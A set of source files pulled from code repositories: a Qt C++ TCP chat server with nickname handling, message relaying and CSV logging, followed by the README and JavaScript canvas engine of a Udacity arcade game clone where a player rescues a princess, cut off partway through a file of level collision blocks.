<file_sep>#include "servidor.h"
Servidor::Servidor(QObject *parent) : QTcpServer(parent)
{
setGerenConexao(new GerenciaConexao());
}
Servidor::~Servidor()
{
delete gerenConexao();
}
void Servidor::startServidor()
{
if(this->listen(QHostAddress::Any, 1312))
{
qDebug() << "Servidor iniciado";
qDebug() << "Conecte pela porta 1312";
}
else
{
qDebug() << "Erro ao abrir ao abrir a porta 1312";
}
}
void Servidor::incomingConnection(qintptr descript)
{
setConexao(new Conexao(descript, this));
connect(conexao(), SIGNAL(destroyed(QObject*)), conexao(), SLOT(deleteLater()));
connect(conexao(), SIGNAL(readyRead(QByteArray)), this, SLOT(readyRead(QByteArray)));
connect(conexao(), SIGNAL(disconnected(qintptr)), this, SLOT(disconnected(qintptr)));
}
void Servidor::readyRead(const QByteArray &msg)
{
if(!gerenConexao()->validarEstruturaMensagem(msg))
{
qDebug() << "mensagem fora da estrutura";
conexao()->enviarMensagem("Mensagem fora da estrutura");
return;
}
gerenConexao()->setOrigem(msg);
gerenConexao()->setDestino(msg);
gerenConexao()->setMensagem(msg);
if(gerenConexao()->destino().isEmpty()) //representa o nickname
{
gerenConexao()->addNickname(gerenConexao()->origem(), conexao());
return;
}
if(!gerenConexao()->origem().isEmpty() && !gerenConexao()->destino().isEmpty() && !gerenConexao()->mensagem().isEmpty())
{
//redirecionar a mensagem
gerenConexao()->redirecionarMensagem(gerenConexao()->origem(), gerenConexao()->destino(), gerenConexao()->mensagem());
return;
}
}
void Servidor::disconnected(const qintptr &descrpt)
{
gerenConexao()->rmNickname(descrpt);
}
GerenciaConexao *Servidor::gerenConexao() const
{
return mGerenConexao;
}
void Servidor::setGerenConexao(GerenciaConexao *gerenConexao)
{
mGerenConexao = gerenConexao;
}
Conexao *Servidor::conexao() const
{
return mConexao;
}
void Servidor::setConexao(Conexao *conexao)
{
mConexao = conexao;
}
<file_sep>#include "conexao.h"
Conexao::Conexao(qintptr descript, QObject *parent) : QObject(parent)
{
setDescriptor(descript);
startConexao();
}
Conexao::~Conexao()
{
socket()->close();
}
void Conexao::startConexao()
{
setSocket(new QTcpSocket(this));
socket()->flush();//limpando o buffer que possa ter
connect(socket(), SIGNAL(disconnected()), this, SLOT(disconnected()));
connect(socket(), SIGNAL(readyRead()), this, SLOT(readyRead()));
socket()->setSocketDescriptor(descriptor());
qDebug() << descriptor() << ": cliente conectado!";
}
void Conexao::disconnected()
{
qDebug() << descriptor() << ": cliente desconectado!";
emit disconnected(descriptor());
}
void Conexao::readyRead()
{
emit readyRead(socket()->readAll());
}
QTcpSocket *Conexao::socket() const
{
return mSocket;
}
void Conexao::setSocket(QTcpSocket *socket)
{
mSocket = socket;
}
qintptr Conexao::descriptor() const
{
return mDescriptor;
}
void Conexao::setDescriptor(const qintptr &descriptor)
{
mDescriptor = descriptor;
}
bool Conexao::enviarMensagem(const QString &msg)
{
QByteArray byteArrayTemp = msg.toLocal8Bit();
byteArrayTemp.append("\r\n\r\n\r\n"); //para garantir o envio!
socket()->write(byteArrayTemp);
if(!socket()->waitForBytesWritten())
return false;
socket()->flush();
QTest::qSleep(50); //Para garantir envio individual de mensagem
return true;
}
<file_sep>#ifndef GERENCIACONEXAO_H
#define GERENCIACONEXAO_H
#include <QString>
#include <QStringBuilder>
#include <map>
#include <fstream>
#include <QDir>
#include <QDateTime>
#include <QDebug>
#include <QObject>
#include "conexao.h"
#include "log.h"
using std::map;
using std::ofstream;
using std::ifstream;
using std::endl;
using std::string;
class GerenciaConexao: public QObject
{
Q_OBJECT
private:
enum enumStatus{CONECTADO, DESCONECTADO};
public:
explicit GerenciaConexao(QObject *parent = nullptr);
virtual ~GerenciaConexao();
bool addNickname(const QString &nick, Conexao *cliente);
void rmNickname(const QString &nickname);
void rmNickname(const qintptr &descript);
QString nickname(const qintptr &descript);
qintptr descriptor(const QString &nick);
QString encapsularMsg(const QString &qstrOrigem, const QString &qstrDestino = "", const QString &qstrMsg = "");
void broadcast(const enumStatus &status, const QString &usuario);
void validarNickname(const QString& nick, Conexao *cliente, const bool &valido);
void redirecionarMensagem(const QString &org, const QString &dst, const QString &msg);
QString origem() const;
void setOrigem(const QByteArray &msg);
QString destino() const;
void setDestino(const QByteArray &msg);
QString mensagem() const;
void setMensagem(const QByteArray &msg);
bool validarEstruturaMensagem(const QByteArray &msg);
signals:
void salvarLog(const QString &org, const QString &dst, const QString &msg);
private:
QDir mDirLog;
QString mNomeArqOut;
map<QString, Conexao*> mMapNickConexao;
const QString BROADCAST_KEY = "$$$";
const QString BROADCAST_CONECTADO = "$c$"; //broadcast: #$$$$#$c$#:user1;user2;user3
const QString BROADCAST_DESCONECTADO = "$d$"; //broadcast: #$$$$#$d$#:user1;user2;user3
QTcpSocket *mSocket;
Log *mLog;
QString mOrigem;
QString mDestino;
QString mMensagem;
};
#endif // GERENCIACONEXAO_H
<file_sep>#include <QCoreApplication>
#include "servidor.h"
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
Servidor meuServidor;
meuServidor.startServidor();
return a.exec();
}
<file_sep>#include "gerenciaconexao.h"
GerenciaConexao::GerenciaConexao(QObject *parent)
:QObject(parent)
{
mLog = new Log();
mLog->setAutoDelete(true);
//Fazendo uma conexao em fila (especificao)
connect(this, SIGNAL(salvarLog(QString,QString,QString)), mLog, SLOT(salvarLog(QString,QString,QString)), Qt::QueuedConnection);
QThreadPool::globalInstance()->start(mLog);
}
GerenciaConexao::~GerenciaConexao()
{
mMapNickConexao.clear();
}
bool GerenciaConexao::addNickname(const QString &nick, Conexao *cliente)
{
if(mMapNickConexao.find(nick) != mMapNickConexao.end())
{
validarNickname(nick, cliente, false);
delete cliente;
return false;
}
mMapNickConexao[nick] = cliente;
validarNickname(nick, cliente, true);
emit salvarLog(nickname(cliente->descriptor()), BROADCAST_CONECTADO, "");
broadcast(CONECTADO, nickname(cliente->descriptor()));
return true;
}
void GerenciaConexao::rmNickname(const QString &nickname)
{
emit salvarLog(nickname, BROADCAST_DESCONECTADO, "");
broadcast(DESCONECTADO, nickname);
mMapNickConexao.erase(mMapNickConexao.find(nickname));
}
void GerenciaConexao::rmNickname(const qintptr &descript)
{
for(auto itMap = mMapNickConexao.begin(); itMap != mMapNickConexao.end(); ++itMap)
{
if(itMap->second->descriptor() == descript)
{
emit salvarLog(nickname(descript), BROADCAST_DESCONECTADO, "");
broadcast(DESCONECTADO, nickname(descript));
mMapNickConexao.erase(itMap->first);
return;
}
}
}
QString GerenciaConexao::nickname(const qintptr &descript)
{
for(auto itMap = mMapNickConexao.begin(); itMap != mMapNickConexao.end(); ++itMap)
{
if(itMap->second->descriptor() == descript)
{
return itMap->first;
}
}
return QString("");
}
qintptr GerenciaConexao::descriptor(const QString &nick)
{
return mMapNickConexao[nick]->descriptor();
}
QString GerenciaConexao::encapsularMsg(const QString &qstrOrigem, const QString &qstrDestino, const QString &qstrMsg)
{
return QString("#%1#%2#:%3").arg(qstrOrigem).arg(qstrDestino).arg(qstrMsg);
}
/**
* @brief GerenciaConexao::broadcast
* @param status
* @param usuario
* envia um broadCast dos usuarios conectados
*/
void GerenciaConexao::broadcast(const GerenciaConexao::enumStatus &status, const QString &usuario)
{
//Se tiver apenas um usuário, não há necessidade de broadcast
if(mMapNickConexao.size() == 1)
return;
QString broadMsg;
QStringList listaUsuarios;
QString flagBroadcast;
//carregando lista de usuarios para envio. o ultimo conectado/desconectado sempre sera o ultimo
for(auto itMap = mMapNickConexao.begin(); itMap != mMapNickConexao.end(); ++itMap)
{
if(itMap->first != usuario)
listaUsuarios << itMap->first;
}
listaUsuarios << usuario;
broadMsg = listaUsuarios.join(";");
if(status == CONECTADO)
{
flagBroadcast = BROADCAST_CONECTADO;
for(auto itMap = mMapNickConexao.begin(); itMap != mMapNickConexao.end(); ++itMap)
{
itMap->second->enviarMensagem(encapsularMsg(BROADCAST_KEY, flagBroadcast, broadMsg));
}
}
else if(status == DESCONECTADO)
{
flagBroadcast = BROADCAST_DESCONECTADO;
for(auto itMap = mMapNickConexao.begin(); itMap != mMapNickConexao.end(); ++itMap)
{
if(itMap->first != usuario)
itMap->second->enviarMensagem(encapsularMsg(BROADCAST_KEY, flagBroadcast, broadMsg));
}
}
else
{
qDebug() << "status invalido!";
return;
}
}
void GerenciaConexao::validarNickname(const QString& nick,Conexao *cliente, const bool &valido)
{
if(valido)
{
if(!cliente->enviarMensagem(encapsularMsg(nick)))
qDebug() << "impossivel enviar nickname";
}
else
{
if(!cliente->enviarMensagem(encapsularMsg("")))
qDebug() << "impossivel enviar nickname em uso";
}
}
void GerenciaConexao::redirecionarMensagem(const QString &org, const QString &dst, const QString &msg)
{
mMapNickConexao[org]->enviarMensagem(encapsularMsg(org, dst, msg));
mMapNickConexao[dst]->enviarMensagem(encapsularMsg(org, dst, msg));
emit salvarLog(org, dst, msg);
}
QString GerenciaConexao::origem() const
{
return mOrigem;
}
void GerenciaConexao::setOrigem(const QByteArray &msg)
{
string str = QString(msg).toStdString();
string::iterator itFirstQuadrado = std::find(str.begin(), str.end(), '#');
string::iterator itSecondQuadrado = std::find(itFirstQuadrado + 1, str.end(), '#');
mOrigem = QString::fromStdString(string(itFirstQuadrado + 1, itSecondQuadrado));
}
QString GerenciaConexao::destino() const
{
return mDestino;
}
void GerenciaConexao::setDestino(const QByteArray &msg)
{
string str = QString(msg).toStdString();
string::iterator itSecondQuadrado = std::find(str.begin() + 1, str.end(), '#');
string::iterator itThirdQuadrado = std::find(itSecondQuadrado + 1, str.end(), '#');
mDestino = QString::fromStdString(string(itSecondQuadrado + 1, itThirdQuadrado));
}
QString GerenciaConexao::mensagem() const
{
return mMensagem;
}
void GerenciaConexao::setMensagem(const QByteArray &msg)
{
string str = QString(msg).toStdString();
str = string(str.begin(),std::remove(str.begin(), str.end(), '\r'));
str = string(str.begin(),std::remove(str.begin(), str.end(), '\n'));
string::iterator itFirst = std::find(str.begin(), str.end(), ':');
mMensagem = QString::fromStdString(string(itFirst + 1, str.end()));
}
/**
* @brief Servidor::validarEstruturaMensagem
* @param msg
* @return
* valida a estrutura do protocolo de mensagem, conforme a seguir:
* #origem#destino#:mensagem
* o destino pode está vazio, representando assim o input de um nickname
*/
bool GerenciaConexao::validarEstruturaMensagem(const QByteArray &msg)
{
// #origem#destino#:mensagem
string str = QString(msg).toStdString();
if(!(std::count(str.begin(), str.end(),'#') >= 3 && std::count(str.begin(), str.end(), ':') >= 1))
{
return false;
}
string::iterator itFirstQuadrado = std::find(str.begin(), str.end(), '#');
string::iterator itSecondQuadrado = std::find(itFirstQuadrado + 1, str.end(), '#');
string::iterator itThirdQuadrado = std::find(itSecondQuadrado + 1, str.end(), '#');
string::iterator itPonto = std::find(str.begin(), str.end(), ':');
if(itFirstQuadrado == str.begin())
if(std::distance(itFirstQuadrado, itSecondQuadrado) > 1) //deve haver pelo menos 1 letra na origem
if(itThirdQuadrado + 1 == itPonto) //o ultimo # deve seguir de :
return true;
return false;
}
<file_sep>#ifndef CONEXAO_H
#define CONEXAO_H
#include <QObject>
#include <QTcpSocket>
#include <QThreadPool>
#include <QDebug>
#include <map>
#include <QTest>
class Conexao : public QObject
{
Q_OBJECT
public:
explicit Conexao(qintptr descript, QObject *parent = nullptr);
virtual ~Conexao();
qintptr descriptor() const;
void setDescriptor(const qintptr &descriptor);
bool enviarMensagem(const QString &msg);
private:
void startConexao();
QTcpSocket *socket() const;
void setSocket(QTcpSocket *socket);
signals:
void readyRead(const QByteArray &msg);
void disconnected(const qintptr &descript);
public slots: //signals do TcpScoket:
void disconnected();
void readyRead();
private:
qintptr mDescriptor;
QTcpSocket *mSocket;
};
#endif // CONEXAO_H
<file_sep>#include "log.h"
Log::Log(QObject *parent) : QObject(parent)
{
setup();
}
void Log::run()
{
while(1){} //loop onde esta rodando minha task
}
void Log::setup()
{
mDirLog.mkdir("log");
mDirLog.cd("log");
mNomeArqOut = "log-" % QDate::currentDate().toString("yyyy-MM-dd") % ".csv";
}
void Log::salvarLog(const QString &org, const QString &dst, const QString &msg)
{
salvarArq(gerarQStrLog(org, dst, msg));
}
QDir Log::dirLog() const
{
return mDirLog;
}
QString Log::nomeArqOut() const
{
return mNomeArqOut;
}
QString Log::gerarQStrLog(const QString &org, const QString &dst, const QString &msg)
{
QString qstrLog = QDateTime::currentDateTime().toString("yyyy-MM-dd HH:mm:ss");
QString mensagem;
if(dst == BROADCAST_CONECTADO)
{
mensagem = "conectado";
}
else if(dst == BROADCAST_DESCONECTADO)
{
mensagem = "desconectado";
}
else
{
mensagem = msg;
}
return qstrLog % ";" % org % ";" % dst % ";" % mensagem;
}
void Log::salvarArq(const QString &qstrLog)
{
bool primeiraEscrita;
ifstream arqExist(dirLog().absoluteFilePath(nomeArqOut()).toStdString());
if(arqExist.is_open())
{
primeiraEscrita = false;
arqExist.close();
}
else
{
primeiraEscrita = true;
}
ofstream arq(dirLog().absoluteFilePath(nomeArqOut()).toStdString(), ios_base::app);
if(arq.is_open())
{
if(primeiraEscrita)
arq << "data-hora;origem;destino;mensagem" << endl;
arq << qstrLog.toStdString() << endl;
arq.close();
}
else
{
qDebug() << "impossivel abrir arquivo de log:" << nomeArqOut();
}
}
| 1709e6c65cf909b376214db273d0268e1ff3eddc | [
"C++"
] | 9 | C++ | OtavioPellicano/chat-servidor | dd25dbebcb66f461c68ac77bd078217875255f4b | c874598375765563a2b06346d75753107242786d |
refs/heads/master | <repo_name>onix8/hyperskill-Encryption-Decryption<file_sep>/Encryption-Decryption/task/src/encryptdecrypt/Shift.java
package encryptdecrypt;
public class Shift implements Cipher {
@Override
public String dec(String data, int key) {
return enc(data, 26 - (key % 26));
}
@Override
public String enc(String data, int key) {
String s = "";
char cc = 0;
for (char c : data.toCharArray()) {
if (c != ' ') {
if (c >= 'a' && c <= 'z') {
cc = (char) ('a' + (((c - 'a') + key) % 26));
} else if (c >= 'A' && c <= 'Z') {
cc = (char) ('A' + (((c - 'A') + key) % 26));
} else {
System.out.println("Error: is not latin letter or space.");
}
} else {
cc = c;
}
s = s.concat(String.valueOf(cc));
}
return s;
}
}
<file_sep>/Encryption-Decryption/task/src/encryptdecrypt/Cipher.java
package encryptdecrypt;
interface Cipher {
String dec(String data, int key);
String enc(String data, int key);
}
| 22d83790c623b1de3fda2414db71426d567ba9ad | [
"Java"
] | 2 | Java | onix8/hyperskill-Encryption-Decryption | 7d313faa44c9f0494548c12f85e66682e98ffee0 | 5fc992e898a2855c4f91292886b54f0c11f02387 |
refs/heads/master | <file_sep>### Udacity Front-End Web Developer Nanodegree – Project 05
# Classic Arcade Game Clone - Rescue The Princess
### Get started
- Download the project from Github and open index.html.
- You need an active internet connection since project uses Google fonts and jQuery.
- Click play button.
- For additional controls press "show control buttons" above the game.
- Click "space" on the keyboard once the text appears or press a "space" button.
- Use arrows or on-screen buttons to control player.
- Press "space" to pause the game.
### Game Rules
- The goal is to rescue the princess and back to the house. Follow the star markers to find her.
- There are two levels in the game, princess is in the second one, you must bring her back to complete a game.
- Avoid touching bugs.
- If you touch a bug you lose a life, if you have no lives left game is over.
- If you have lives left and you touch a bug, you become immortal for 2s.
- If you carry the princess and you touch a bug, the princess will go back to original location.
### Reference
- [Classic Arcade Game Clone – "Find a Key"](https://github.com/TheFullResolution/FrontEnd-NanoDeegree-03_Classic_Arcade_Game) by <NAME><file_sep>/* Engine.js
* This file provides the game loop functionality (update entities and render),
* draws the initial game board on the screen, and then calls the update and
* render methods on your player and enemy objects (defined in your app.js).
*
* A game engine works by drawing the entire game screen over and over, kind of
* like a flipbook you may have created as a kid. When the player moves across
* the screen, it may look like just that image/character is moving or being
* drawn but that is not the case. What's really happening is the entire "scene"
* is being drawn over and over, presenting the illusion of animation.
*
* This engine is available globally via the Engine variable and it also makes
* the canvas' context (ctx) object globally available.
*/
var level1 = function() {
/* Transfer point */
ctx.drawImage(Resources.get('images/Ramp South.png'), 0, -30);
for (var col = 1; col < 6; col++) {
drawWater(col * 101, -30);
}
/* First row */
for (col = 0; col < 6; col++) {
ctx.drawImage(Resources.get('images/stone-block.png'), col * 101, 33);
}
/*Second Row */
for (col = 0; col < 3; col++) {
drawWater(col * 101, 125);
}
for (col = 3; col < 6; col++) {
ctx.drawImage(Resources.get('images/Dirt Block.png'), col * 101, 116);
}
/*Third Row */
for (col = 0; col < 6; col++) {
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 199);
}
for (col = 3; col < 6; col++) {
ctx.drawImage(Resources.get('images/Shadow North.png'), col * 101, 283);
}
ctx.drawImage(Resources.get('images/Shadow South West.png'), 205, 205);
/*House*/
ctx.drawImage(Resources.get('images/Roof North West.png'), 3 * 101, 240);
ctx.drawImage(Resources.get('images/Roof North.png'), 4 * 101, 240);
ctx.drawImage(Resources.get('images/Roof North East.png'), 5 * 101, 240);
ctx.drawImage(Resources.get('images/Wood Block.png'), 3 * 101, 460);
ctx.drawImage(Resources.get('images/Wood Block.png'), 5 * 101, 460);
ctx.drawImage(Resources.get('images/Window Tall.png'), 3 * 101, 420);
ctx.drawImage(Resources.get('images/Door Tall Closed.png'), 4 * 101, 470);
ctx.drawImage(Resources.get('images/Window Tall.png'), 5 * 101, 420);
ctx.drawImage(Resources.get('images/Wood Block.png'), 4 * 101, 365);
ctx.drawImage(Resources.get('images/Roof South West.png'), 3 * 101, 320);
ctx.drawImage(Resources.get('images/Roof South.png'), 4 * 101, 320);
ctx.drawImage(Resources.get('images/Roof South East.png'), 5 * 101, 320);
for (col = 3; col < 6; col++) {
ctx.drawImage(Resources.get('images/Shadow South.png'), col * 101, 400);
}
/*Grass blocks which are near the house*/
for (col = 0; col < 3; col++) {
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 282);
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 365);
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 448);
}
ctx.drawImage(Resources.get('images/Shadow West.png'), 205, 283);
ctx.drawImage(Resources.get('images/Shadow West.png'), 205, 363);
ctx.drawImage(Resources.get('images/Shadow West.png'), 205, 444);
ctx.drawImage(Resources.get('images/Shadow North.png'), 0 * 101, 467);
ctx.drawImage(Resources.get('images/Shadow North.png'), 2 * 101, 467);
ctx.drawImage(Resources.get('images/Wall Block.png'), 0 * 101, 465);
ctx.drawImage(Resources.get('images/Ramp North.png'), 1 * 101, 487);
ctx.drawImage(Resources.get('images/Wall Block.png'), 2 * 101, 465);
for (col = 0; col < 6; col++) {
ctx.drawImage(Resources.get('images/stone-block.png'), col * 101, 572);
}
/*Trees*/
ctx.drawImage(Resources.get('images/Tree Ugly.png'), 0, 175);
ctx.drawImage(Resources.get('images/Tree Short.png'), 204, 345);
};
var level2 = function() {
for (col = 0; col < 6; col++) {
drawWater(col * 101, -30);
}
/*First Row */
for (col = 0; col < 6; col++) {
ctx.drawImage(Resources.get('images/Dirt Block.png'), col * 101, 33);
}
/*Second Row */
for (col = 0; col < 6; col++) {
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 116);
}
ctx.drawImage(Resources.get('images/Rock.png'), 1 * 101, 81);
ctx.drawImage(Resources.get('images/Rock.png'), 2 * 101, 81);
/*Third Row */
for (col = 1; col < 3; col++) {
drawWater(col * 101, 199);
}
ctx.drawImage(Resources.get('images/Wall Block.png'), 3 * 101, 199);
for (col = 4; col < 6; col++) {
drawWater(col * 101, 199);
}
ctx.drawImage(Resources.get('images/Wall Block.png'), 0, 199);
/*Fourth Row */
for (col = 0; col < 2; col++) {
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 282);
}
for (col = 3; col < 6; col++) {
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 282);
}
drawWater(202, 282);
/*Fifth Row */
for (col = 3; col < 6; col++) {
ctx.drawImage(Resources.get('images/grass-block.png'), col * 101, 365);
}
ctx.drawImage(Resources.get('images/Ramp North.png'), 3 * 101, 362);
for (col = 0; col < 3; col++) {
drawWater(col * 101, 365);
}
/*Sixth Row */
for (col = 4; col < 6; col++) {
ctx.drawImage(Resources.get('images/Shadow South.png'), col * 101, 403);
}
for (col = 0; col < 6; col++) {
ctx.drawImage(Resources.get('images/stone-block.png'), col * 101, 448);
}
/*Seventh Row */
for (col = 1; col < 6; col++) {
drawWater(col * 101, 540);
}
ctx.drawImage(Resources.get('images/Ramp South.png'), 0, 521);
};
/**
* @description If we are drawing water, we will shift the transparency slightly
*/
function drawWater(x, y) {
ctx.save();
ctx.globalAlpha = 0.6;
ctx.drawImage(Resources.get('images/water-block.png'), x, y);
ctx.restore();
}
/* Predefine the variables we'll be using within this scope,
* create the canvas element, grab the 2D context for that canvas
* set the canvas elements height/width and add it to the DOM.
*/
var canvas = document.createElement('canvas'),
ctx = canvas.getContext('2d'),
lastTime;
canvas.width = 606;
canvas.height = 650;
var Engine = (function() {
$('#canvas').append(canvas);
/* This function serves as the kickoff point for the game loop itself
* and handles properly calling the update and render methods.
*/
function main() {
/* Get our time delta information which is required since game
* requires smooth animation. Because everyone's computer processes
* instructions at different speeds we need a constant value that
* would be the same for everyone (regardless of how fast their
* computer is) - hurray time!
*/
var now = Date.now(),
dt = (now - lastTime) / 1000.0;
/* Call our update/render functions, pass along the time delta to
* our update function since it may be used for smooth animation.
* in case of game pause, game over or end game no updates will run.
*/
if (newGame.gameRun === true && !newGame.paused && !newGame.gameOver &&
!newGame.endGame) {
update(dt, now);
render(now);
}
//displaying call for help at the beginning of the game
if (newGame.gameRun === true && newGame.displayMessage === true) {
textDrawer('Oooops...My little princess is lost!', canvas.width / 2, canvas.height / 2 + 100);
textDrawer('Help me find her in the forest!', canvas.width / 2, canvas.height / 2 + 140);
}
//if the endGame is true runs the end animation
if (newGame.endGame === true) {
renderEndGame();
}
//after few seconds status changes and end message appears
if (newGame.finishedGame === true) {
ctx.globalAlpha = 1;
textDrawer('YOU MADE IT!', canvas.width / 2, canvas.height / 2);
textDrawer('Press SPACE to start again!', canvas.width / 2, canvas.height / 2 + 40);
}
/* Set our lastTime variable which is used to determine the time delta
* for the next time this function is called.
*/
lastTime = now;
/* Use the browser's requestAnimationFrame function to call this
* function again as soon as the browser is able to draw another frame.
*/
window.requestAnimationFrame(main);
}
/* This function does some initial setup that should only occur once,
* particularly setting the lastTime variable that is required for the
* game loop.
*/
function init() {
reset();
lastTime = Date.now();
main();
}
/* This function is called by main (our game loop) and itself calls all
* of the functions which may need to update entity's data.
*/
function update(dt, now) {
updateEntities(dt);
checkCollisions(now);
}
/* This is called by the update function and loops through all of the
* objects within your allEnemies array as defined in app.js and calls
* their update() methods. It will then call the update function for your
* player object. These update methods should focus purely on updating
* the data/properties related to the object. Do your drawing in your
* render methods.
*/
function updateEntities(dt) {
player.update(dt);
items.forEach(function(item) {
item.update();
});
allEnemies.forEach(function(enemy) {
enemy.update(dt);
});
}
//Check collisions, if player touches an enemy or an object.
//If enemy, function call player.colLision which will deduce life or change status
//to game over.
function checkCollisions(now) {
if (player.immortal < now / 1000) {
allEnemies.forEach(function(enemy) {
if (player.x < enemy.x + enemy.width && player.x + player.width > enemy.x &&
player.y < enemy.y + enemy.height && player.y + player.height > enemy.y) {
player.collision();
}
});
}
items.forEach(function(item) {
if (player.x < item.x + item.width && player.x + player.width > item.x &&
player.y < item.y + item.height && player.y + player.height > item.y) {
item.status = 'picked';
}
});
}
/* This function initially draws the "game level", it will then call
* the renderEntities function. This function is called every
* game tick (or loop of the game engine) because that's how games work -
* they are flipbooks creating the illusion of animation but in reality
* they are just drawing the entire screen over and over.
*/
function render() {
if (player.level === 'level1') {
level1();
} else if (player.level === 'level2') {
level2();
}
renderEntities();
}
/* This function is called by the render function and is called on each game
* tick. Its purpose is to then call the render functions defined
* on the enemy and player entities within app.js
*/
function renderEntities() {
/* Loop through all of the objects within the allEnemies array and call
* the render function defined.
*/
allEnemies.forEach(function(enemy) {
enemy.render();
});
player.render();
items.forEach(function(item) {
item.render();
});
lifeCounter.render();
}
//textDrawer is used to display text messages on canvas
function textDrawer(text, x, y) {
ctx.font = '28px Luckiest Guy';
ctx.textAlign = 'center';
ctx.strokeStyle = 'black';
ctx.lineWidth = 3;
ctx.strokeText(text, x, y);
ctx.fillStyle = 'white';
ctx.fillText(text, x, y);
}
//reset is used to display message when game is paused or when it is game over
function reset() {
if (!newGame.gameRun && !newGame.finishedGame || newGame.paused === true) {
textDrawer('Press SPACE to start', canvas.width / 2, canvas.height / 2);
}
//game over changes background to greyscale and displayes text
if (newGame.gameOver === true) {
imgData = ctx.getImageData(0, 0, canvas.width, canvas.height);
for (var i = 0; i < imgData.data.length; i += 4) {
var red = imgData.data[i];
var green = imgData.data[i + 1];
var blue = imgData.data[i + 2];
var grey = 0.2126 * red + 0.7152 * green + 0.0722 * blue;
imgData.data[i] = grey;
imgData.data[i + 1] = grey;
imgData.data[i + 2] = grey;
}
ctx.putImageData(imgData, 0, 0);
textDrawer('GAME OVER!', canvas.width / 2, canvas.height / 2);
textDrawer('Press SPACE to start again!', canvas.width / 2, (canvas.height / 2) + 40);
}
window.requestAnimationFrame(reset);
}
//initParticles and all functions below are responsible for final animation, when
//player finishes the game. Below idea comes from blog run by <NAME>
//http://codepen.io/rachsmith/blog/hack-physics-and-javascript-1
//"A super simple and super fun example - let’s make a particle fountain!"
//Instead of drawing squares I used Star.png
initParticles();
var particles = [];
var gravity = 0.04;
function initParticles() {
for (var i = 0; i < 100; i++) {
setTimeout(createParticle, 20 * i, i);
}
}
function createParticle() {
// initial position in middle of canvas
var x = canvas.width / 2;
var y = canvas.height / 2 - 150;
// randomize the vx and vy a little - but we still want them flying 'up' and 'out'
var vx = -2 + Math.random() * 4;
var vy = Math.random() * -3;
// randomize size and opacity a little & pick a color from our color palette
var opacity = 0.5 + Math.random() * 0.5;
var p = new Particle(x, y, vx, vy, opacity);
particles.push(p);
}
function Particle(x, y, vx, vy, opacity) {
function reset() {
x = canvas.width * 0.5;
y = canvas.height * 0.5 - 150;
opacity = 0.5 + Math.random() * 0.5;
vx = -2 + Math.random() * 4;
vy = Math.random() * -3;
}
this.update = function() {
// if a particle has faded to nothing we can reset it to the starting position
if (opacity - 0.005 > 0) opacity -= 0.005;
else reset();
// add gravity to vy
vy += gravity;
x += vx;
y += vy;
};
this.draw = function() {
ctx.globalAlpha = opacity;
ctx.drawImage(Resources.get('images/Heart.png'), x, y);
};
}
function renderEndGame() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
for (var i = 0; i < particles.length; i++) {
particles[i].update();
particles[i].draw();
}
}
/* Go ahead and load all of the images we know we're going to need to
* draw our game level. Then set init as the callback method, so that when
* all of these images are properly loaded our game will start.
*/
Resources.load([
'images/stone-block.png',
'images/water-block.png',
'images/grass-block.png',
'images/char-boy.png',
'images/char-princess-girl.png',
'images/Ramp South.png',
'images/Ramp East.png',
'images/Ramp North.png',
'images/Dirt Block.png',
'images/Ramp West.png',
'images/Rock.png',
'images/Wall Block.png',
'images/enemy-bug-left.png',
'images/enemy-bug.png',
'images/Heart.png',
'images/Key.png',
'images/char-boy-carrying.png',
'images/char-boy-immortal.png',
'images/Roof North East.png',
'images/Roof North West.png',
'images/Roof South East.png',
'images/Roof South West.png',
'images/Roof South.png',
'images/Window Tall.png',
'images/Door Tall Closed.png',
'images/Roof North.png',
'images/Wood Block.png',
'images/Shadow North.png',
'images/Shadow West.png',
'images/Shadow South West.png',
'images/Tree Short.png',
'images/Tree Ugly.png',
'images/Selector.png',
'images/Selector2.png',
'images/Shadow South.png',
'images/Star.png'
]);
Resources.onReady(init);
});
//Jquery controls for displaying canvas
$('#play').click(function() {
Engine();
$('#play').hide();
$('#show').show();
$('.menu').css('margin-top', 0);
});
//Jquery controls for displaying control buttons
//Including changing adding css so if controls are hidden canvas is in the middle
$('#show').click(function() {
$('.control').toggle('slow', function() {
cssChanger();
});
});
var cssChanger = function() {
if ($('.control').css('display') !== 'none') {
$('.game').css('float', 'left');
$('.game').css('width', '60%');
} else if ($('.control').css('display') === 'none') {
$('.game').css('float', 'none');
$('.game').css('width', '100%');
}
};
$('#ins').click(function() {
$('#ins-list').slideToggle('slow');
});<file_sep>/* global ctx */
/**
* @description Add obsticales and limit area where cannot go
* @constructor
* @param {number} left - The left boundary of the block
* @param {number} right - The right boundary of the block
* @param {number} up - The upper boundary of the block
* @param {number} down - The lower boundary of the block
*/
function Block(left, right, up, down) {
//Below is to make assigning of blocks easier.
//If "undefined" is passed, the prototype value will be added.
this.left = left || -1000;
this.right = right || 1000;
this.up = up || -1000;
this.down = down || 1000;
}
function Levelblocks() {
this.blocks = [];
}
Levelblocks.prototype.addBlock = function(left, right, up, down) {
this.blocks.push(new Block(left, right, up, down));
};
var level1Blocks = new Levelblocks();
//left of the map
level1Blocks.addBlock(undefined, -15, undefined, undefined);
//right of the map
level1Blocks.addBlock(540, undefined, undefined, undefined);
//top of the map
level1Blocks.addBlock(undefined, undefined, undefined, -40);
//bottom of the map
level1Blocks.addBlock(undefined, undefined, 545, undefined);
//house
level1Blocks.addBlock(237, undefined, 230, 504);
//left wall
level1Blocks.addBlock(undefined, 80, 410, 504);
//right wall and a tree
level1Blocks.addBlock(145, undefined, 318, 504);
//another tree
level1Blocks.addBlock(undefined, 65, 142, 226);
//river south
level1Blocks.addBlock(undefined, 274, 60, 142);
//river north
level1Blocks.addBlock(43, undefined, undefined, -23);
var level2Blocks = new Levelblocks();
//left
level2Blocks.addBlock(undefined, -15, undefined, undefined);
//right
level2Blocks.addBlock(540, undefined, undefined, undefined);
//top
level2Blocks.addBlock(undefined, undefined, undefined, -23);
//bottom
level2Blocks.addBlock(undefined, undefined, 545, undefined);
//river south
level2Blocks.addBlock(40, undefined, 475, undefined);
//river middle south
level2Blocks.addBlock(undefined, 275, 310, 392);
//ramp south
level2Blocks.addBlock(350, 370, 353, 392);
//stone bridge south
